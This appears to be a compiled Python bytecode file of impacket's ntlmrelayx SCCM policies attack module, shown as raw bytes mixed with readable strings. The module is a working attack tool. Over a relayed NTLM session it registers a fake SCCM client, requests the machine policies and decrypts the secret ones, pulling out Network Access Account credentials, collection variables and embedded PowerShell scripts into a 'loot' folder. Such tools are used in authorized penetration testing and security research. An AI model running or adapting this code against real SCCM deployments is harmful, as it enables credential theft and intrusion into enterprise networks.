o
    jp                     @   s2  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlm  m	Z
 d dlmZ d dlmZmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZmZmZ d d	lmZ d d
lmZmZm Z  d dl!m"Z" d dl#m$Z$m%Z%m&Z& d dl'm(Z( d dl)m*Z* d dl+m,Z, dZ-dZ.dZ/dZ0dZ1dZ2i ddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:Z3d;d< Z4d=d> Z5d?d@ Z6dAdB Z7dCdD Z8dEdF Z9dGdH Z:dIdJ Z;dKdL Z<dMdN Z=dOdP Z>dQdR Z?dSdT Z@dUeAfdVdWZBdXdY ZCdZd[ ZDG d\d] d]ZEdS )^    N)sleep)datetime	timedelta)LOG)x509)NameOID)ObjectIdentifier)serializationhashespadding)rsa)PKCS1v15OAEPMGF1)SHA1)Cipher
algorithmsmodes)default_backend)rfc5652)decodeaP  <Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="{date}">
<AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" />
<Certificates><Encryption Encoding="HexBinary" KeyType="1">{encryption}</Encryption><Signing Encoding="HexBinary" KeyType="1">{signature}</Signing></Certificates>
<DiscoveryProperties><Property Name="Netbios Name" Value="{client}" />
<Property Name="FQ Name" Value="{clientfqdn}" />
<Property Name="Locale ID" Value="2057" />
<Property Name="InternetFlag" Value="0" />
</DiscoveryProperties></Data>z<ClientRegistrationRequest>{data}<Signature><SignatureValue>{signature}</SignatureValue></Signature></ClientRegistrationRequest> a  <Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>a%  <Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name="clientauth"><Property Name="AuthSenderMachine">{client}</Property><Property Name="PublicKey">{publickey}</Property><Property Name="ClientIDSignature">{clientIDsignature}</Property><Property Name="PayloadSignature">{payloadsignature}</Property><Property Name="ClientCapabilities">NonSSL</Property><Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name="zlib-compress" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>aY  <RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType="Machine" /><ServerCookie /></RequestAssignments>a  <Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><REPORT_BODY /></Report>z1.2.840.113549.3.7des-ede3-cbcz1.2.840.113549.1.1.1rsaEncryptionz1.2.840.113549.1.1.2md2WithRSAEncryptionz1.2.840.113549.1.1.3md4withRSAEncryptionz1.2.840.113549.1.1.4md5WithRSAEncryptionz1.2.840.113549.1.1.5zsha1-with-rsa-signaturez1.2.840.113549.1.1.6rsaOAEPEncryptionSETz1.2.840.113549.1.1.7id-RSAES-OAEPz1.2.840.113549.1.1.8zid-mgf1z1.2.840.113549.1.1.9zid-pSpecifiedz1.2.840.113549.1.1.10z
rsassa-pssz2.16.840.1.101.3.4.1.41
aes256_ecbz2.16.840.1.101.3.4.1.42
aes256_cbcz2.16.840.1.101.3.4.1.43
aes256_ofbz2.16.840.1.101.3.4.1.44
aes256_cfbz2.16.840.1.101.3.4.1.45aes256_wrapz2.16.840.1.101.3.4.1.46
aes256_gcm
aes256_ccmaes256_wrap_pad)z2.16.840.1.101.3.4.1.47z2.16.840.1.101.3.4.1.48c                 C   s   t t tjdg }}t  |||  	t 
 t tdd t tdd jt jdddddddddd	ddjt td	td
gdd| t }|S )NzConfigMgr Client   )daysim  TF)	digital_signaturekey_enciphermentkey_cert_signkey_agreementcontent_commitmentdata_enciphermentcrl_signencipher_onlydecipher_only)criticalz1.3.6.1.4.1.311.101.2z1.3.6.1.4.1.311.101)r   NameNameAttributer   COMMON_NAMECertificateBuildersubject_nameissuer_name
public_keyserial_numberrandom_serial_numbernot_valid_beforer   utcnowr   not_valid_afteradd_extensionKeyUsageExtendedKeyUsager   signr
   SHA256)
privatekeysubjectissuercert rG   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.pycreate_certificateX   sF   

rI   c                  C   s   t jddd} | S )Ni  i   )public_exponentkey_size)r   generate_private_key)rC   rG   rG   rH   create_private_keyt   s   rM   c                 C   s,   |  |t t }t|}|  t|S N)rA   r   r
   rB   	bytearrayreversebytes)private_keydata	signaturesignature_revrG   rG   rH   	SCCM_signx   s   rV   c                 C   s6   d}||    jjt| jd dd }|  S )Ns        RSA1        little)	byteorder)r8   public_numbersnto_bytesintrK   hexupper)rR   
blobHeaderblobrG   rG   rH   build_MS_public_key_blob   s   &rb   c                 C   s   |  ddd  S )Nutf-16r&   )encode)rS   rG   rG   rH   encode_UTF16_strip_BOM   s   re   c                 C   s6   |  d}|dkr| d|d }| d | }|S | S )Nz</>   )rfindfind)
xml_stringroot_endclean_xml_stringrG   rG   rH   clean_junk_in_XML   s   
rn   c           	      C   s   t jt d|||dd |d}t|t| 	 }t
j||d}t|dd }tjt|d |t d| d	}d
d}||ddd 7 }|t|dd 7 }|S )N%Y-%m-%dT%H:%M:%SZ.r   )date
encryptionrT   client
clientfqdn)rS   rT   z
asciir&   )
bodylengthrs   rq   
sccmserverJ--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

rc   J
--aAbBcCdDv1234567890VxXyYzZ
content-type: application/octet-stream

 
--aAbBcCdDv1234567890VxXyYzZ--)REGISTRATION_REQUEST_TEMPLATEformatr   nowstrftimesplitrV   re   r^   r_   %REGISTRATION_REQUEST_WRAPPER_TEMPLATErd   SCCM_HEADER_TEMPLATElenzlibcompress)	management_pointr8   rR   client_nameregistrationRequestrT   registrationRequestWrapperregistrationRequestHeader
final_bodyrG   rG   rH   %generate_registration_request_payload   s.   

r   c                 C   s   t tj|||dd dd }t|}t|}d|  }t|t |d	d 
  }t||
  }	tjt|d | |dd |||	|t d	d
}
d	d}||
	dd	d 7 }||d	d 7 }|S )Nrp   r   )clientidrt   rs   s     
GUID:  ru   r&   ro   )rv   rw   rs   	publickeyclientIDsignaturepayloadsignaturer   rq   rx   rc   ry   rz   )re   POLICY_REQUEST_TEMPLATEr|   r   r   r   rb   r_   rV   rd   r^   POLICY_REQUEST_HEADER_TEMPLATEr   r   r}   r~   )r   rR   client_guidr   policyRequestpolicyRequestCompressedMSPublicKeyclientIDclientIDSignaturepolicyRequestSignaturepolicyRequestHeaderr   rG   rG   rH   !generate_policies_request_payload   s4   
 

r   c                 C   s    | | ttt dt d dS )N)	algorithm)mgfr   label)decryptr   r   r   encrypted_keyrR   rG   rG   rH   decrypt_key_OEAP   s    r   c                 C   s   | | t S rN   )r   r   r   rG   rG   rH   decrypt_key_RSA   s   r   c                 C   @   t t|t|t d}| }|| |  }|	dS Nbackendutf-16le)
r   r   	TripleDESr   CBCr   	decryptorupdatefinalizer   bodyplaintextkeyivcipherr   	plaintextrG   rG   rH   decrypt_body_triple_DES      
r   c                 C   r   r   )
r   r   AESr   r   r   r   r   r   r   r   rG   rG   rH   decrypt_body_AESCBC   r   r   c              
   C   s  t | t d\}}t |dt d\}}|d d d d  }t|d d d d d }|d	 d
 d  dd  }|d	 d  }t|d	 d
 d }z(t| dkr^t||}	nt| dkrjt	||}	nt
dt|  d W d S W n ty }
 zt
d W Y d }
~
d S d }
~
ww z,t| dkrt||	|}W |S t| dkrt||	|}W |S t
dt|  d W d S  ty }
 zt
d W Y d }
~
d S d }
~
ww )N)asn1SpeccontentrecipientInfosr   ktriencryptedKeykeyEncryptionAlgorithmr   encryptedContentInfocontentEncryptionAlgorithm
parametersr&   encryptedContentr   r   zKey decryption algorithm z is not currently implemented.z%[-] Unknown key decryption algorithm.r   r   z[-] Body decryption algorithm z&[-] Unknown body decryption algorithm.)r   r   ContentInfogetComponentByNameEnvelopedDataasOctetsstrOID_MAPPINGr   r   r   errorKeyErrorr   r   )policy_responserR   r   _encryptedRSAKeykeyEncryptionOIDr   r   bodyEncryptionOIDr   eplaintextbodyrG   rG   rH   decrypt_secret_policy   sD   


r   secretc                 C   s   t dgd }t dgd }tjt t d}||  | }tt|D ]}||  || N  < ||  || N  < q'tjt t d}|| | }tjt t d}|| | }	||	d d  }
|
S )N6   @   \   r      )	rO   r
   Hashr   r   r   r   ranger   )r   buf1buf2digesthash_idigest1hash1digest2hash2derived_keyrG   rG   rH   mscrypt_derive_key_sha1  s    


r   c           	      C   s   t | tr
t| } t| dd d}| dd|  }t| dd }tdgd }tt	|t
|t d	}| }|||  }td }|||  }z|d
}W |S    | }Y |S )N4   8   rX   r   r   ,   r   rW   r   z	utf-16-le)
isinstancer   rQ   fromhexr]   
from_bytesr   r   r   r   r   r   r   r   r   r   r   PKCS7unpadderr   r^   )	outputdata_lengthbufferkeyr   r   r   decrypted_datapadderrG   rG   rH   deobfuscate_secret_policy_blob  s"   


r   c           
      C   s   t | } d}d}d}d}d}d}d}d}g }	| |@ dkr!|	d	 | |@ dkr,|	d
 | |@ dkr7|	d | |@ dkrB|	d | |@ dkrM|	d | |@ dkrX|	d | |@ dkrc|	d |	S )Nr   rh   r&   r   rW          r   TASKSEQUENCEREQUIRESAUTHSECRETINTRANETONLYPERSISTWHOLEPOLICYAUTHORIZEDDYNAMICDOWNLOAD
COMPRESSED)r]   append)
policyFlagValueNONEr   r   r   r   r   r   r   resultrG   rG   rH   parse_policies_flags6  s2   






r  c                   @   s4   e Zd Zdd Zdd Zdd Zdd Zd	d
 ZdS )SCCMPoliciesAttackc                 C   s  t d | jjdkrdnd d| jj }| jj dt d d}| jj	d kr3| j
d	| j_	| jjd kr=d
| j_ztj|dd t d|  W n tyi } zt d|  W Y d }~d S d }~ww t| d t d t }t|}|tjj  }t| dd}||tjj W d    n1 sw   Y  t| dd}||jtjjtjjt d W d    n1 sw   Y  t d| jj	 d t |||| jj	}z'| !||}	|	d krt d W d S t"#|	d d }
|
j$d %dd }W n ty+ } zt d|  W Y d }~d S d }~ww t| dd}|| d W d    n	1 sHw   Y  t| d d}|| jj	 d W d    n	1 skw   Y  t d!|  t d"| jj d# t&t'| jj t(|||| jj	}z| )||}t"#|d d }
|
*d$}i }|D ]J}d%|j$v r|j$d% nd&d'|j$v r|j$d' nd&d(|j$v r|j$d( nd&d)|j$v rt+|j$d) nd&|d* j,-d+|%d,d d-||j$d. < qt| d/d}|t./| W d    n	1 sw   Y  t| d0d}|| W d    n	1 s2w   Y  i }|0 D ]\}}t1|d) t2rTd1|d) v rT|||< q=W n tys } zt d2|  W Y d }~d S d }~ww t d3t3|4  d4t3|4  d5 t3|4 d*krt d6 d S |0 D ]J\}}z'| 5|||||}|d7 d urt d8|d7 d9  d:|d7 d;  d W q ty } zt d<| d=|  W Y d }~qd }~ww t d>|  t d? d S )@NzStarting SCCM policies attacki  httpshttpz://r   z%Y%m%d%H%M%S_sccm_policies_loot$   T)exist_okzLoot directory is: z&Error creating base output directory: z/devicez;Generating Private key and client (self-signed) certificatez/device/cert.pemwbz/device/key.pem)encodingr|   encryption_algorithmz*Registering SCCM client with client name ''zDevice registration failedrf   SMSIDr   rh   zDevice registration failed: z/device/guid.txtw
z/device/client_name.txtz%Client registration complete - GUID: zSleeping for z secondsz	.//PolicyPolicyVersionzN/A
PolicyTypePolicyCategoryPolicyFlagsr   z<mp>zhttp://)r  r  r  r  PolicyLocationPolicyIDz/policies.jsonz/policies.rawr   zPolicies request failed: zPolicies list retrieved. z total policies; z secret policieszNo secret policies retrieved. Either you relayed a user account and automatic device approval is not enabled, or something went wrongNAA_credentialsz$Retrieved NAA account credentials: 'NetworkAccessUsername:NetworkAccessPasswordz:Encountered an error when trying to process secret policy z - z-DONE - attack finished. Check loot directory zYou can reuse the registered device from the generated GUID/private key in the device/ subdirectory - for instance with SCCMSecrets.py. This is only possible for a limited time, before the legitimate device re-registers itself.)6r   infors   porthostr   r}   r~   configSCCMPoliciesClientnameusernamerstripSCCMPoliciesSleeposmakedirs	Exceptionr   rM   rI   public_bytesr	   EncodingDERr^   r_   openwritePEMprivate_bytesPrivateFormatTraditionalOpenSSLNoEncryptionr   register_clientET
fromstringattribr   r   r]   r   request_policiesfindallr  textreplacejsondumpsitemsr   listr   keyssecret_policy_process)selfr   loot_direrrrR   certificater8   fregistration_request_payloadregister_responserootr   r   policies_request_payloadpolicies_responsepoliciespolicies_jsonpolicysecret_policiesr   valuer   rG   rG   rH   _runW  s   
"
$

(
($zSCCMPoliciesAttack._runc                 C      dddd}| j jd| d||d | j   }d}|d	|  }|D ](}|r/|d
kr0q'z
|dd\}}	W n   Y d|v rOt|	d}
|
  S q'd S )NcloseConfigMgr Messaging HTTP Sender6multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"
Connection
User-AgentzContent-TypeCCM_POSTz/ccm_system_windowsauth/requestheadersaAbBcCdDv1234567890VxXyYzZ--   --
   

rh      application/octet-streamrc   	rs   requestgetresponsereadr   rd   r   
decompressr   )r=  r   rB  rV  r   boundarymultipart_datapartheaders_partr   decompressed_contentrG   rG   rH   r/    s(   z"SCCMPoliciesAttack.register_clientc                 C   rM  )NrN  rO  rP  rQ  rT  z/ccm_system/requestrU  rW  rX  rY  rZ  rh   r[  rc   r\  )r=  r   rE  rV  r   ra  rb  rc  rd  r   re  rG   rG   rH   r3    s(   z#SCCMPoliciesAttack.request_policiesc                 C   s   ddd}d| dt  d d|d< t|d| dt  d dd	d
d  dd   |d< | jjd||d | j	 
 }|S )NrN  rO  )rR  rS  r   ;ro   z;2ClientTokenrc   r&   r   ru   ClientTokenSignatureGETrU  )r   r}   r~   rV   rd   r^   r_   rs   r]  r^  r_  )r=  
policy_urlr   rR   rV  rrG   rG   rH   request_policy  s    Fz!SCCMPoliciesAttack.request_policyc                 C   s  t d|  t| d|  d d d}| |d ||}t||d d }t|}|d dkrMt d t	|}	t
|	j}
t|
}|d	}t| d| d
d}|| W d    n1 shw   Y  t	|}	i }|d dkr|	dD ]0}d }d }|dD ] }|d}|dkr|dj }q|dkr|dj }q|||< qn|	d}|D ]}|d j||jd < qt dt|  d t| D ]\}}t|| }| d| dt|d  d| d}t|d}|d| d ||d  W d    n	1 sw   Y  |dkr#||d< |dkr,||d< t d|d   zht	t|}|d }t|dkrt dt| d! t|D ]C\}}t|jd"}t| d| dt|d  d| d#|d  d
d}|| |d W d    n	1 sw   Y  qYW q tjy } zt d$ W Y d }~qd }~ww |d d urd%|iS d%d iS )&NzProcessing secret policy /)r  r  r  rf   r  CollectionSettingszFProcessing a CollectionSettings policy to extract collection variablesutf16z/policy.txtr  z.//instancepropertynamer2   rK  Valuez.//*[@secret="1"]r   zFound z% obfuscated blob(s) in secret policy.z/secretBlob_rh   -z.txtzSecret property name: z

r  r  r  u   Deobfuscated blob n°z.//*[@property="SourceScript"]z% embedded powershell scripts in blob.r   _embeddedScript_z1Failed parsing XML on this blob - not XML contentr  )r   r  r"  r#  rl  r   rn   debugr0  r1  binascii	unhexlifyr5  r   r`  r   r(  r)  r4  getrj   stripr2  r   r;  	enumerater   r   base64	b64decode
ParseError)r=  policyIDrI  rR   r   r>  r  r   	decryptedrD  binary_datadecompressed_datarA  	blobs_setinstancerq  rK  prop	prop_nameobfuscated_blobsobfuscated_blobr   	blob_namerS   filenameblobrootsource_scriptsjscriptdecoded_scriptr   rG   rG   rH   r<    s   








$


6

z(SCCMPoliciesAttack.secret_policy_processN)__name__
__module____qualname__rL  r/  r3  rl  r<  rG   rG   rG   rH   r  U  s    ar  )Fr"  r   r7  r{  stringrandomrv  xml.etree.ElementTreeetreeElementTreer0  timer   r   r   impacketr   cryptographyr   cryptography.x509.oidr   cryptography.x509r   cryptography.hazmat.primitivesr	   r
   r   )cryptography.hazmat.primitives.asymmetricr   1cryptography.hazmat.primitives.asymmetric.paddingr   r   r   %cryptography.hazmat.primitives.hashesr   &cryptography.hazmat.primitives.ciphersr   r   r   cryptography.hazmat.backendsr   pyasn1_modulesr   pyasn1.codec.der.decoderr   r{   r   r   r   r   REPORT_BODYr   rI   rM   rV   rb   re   rn   r   r   r   r   r   r   r   rQ   r   r   r  r  rG   rG   rG   rH   <module>   s   	

 #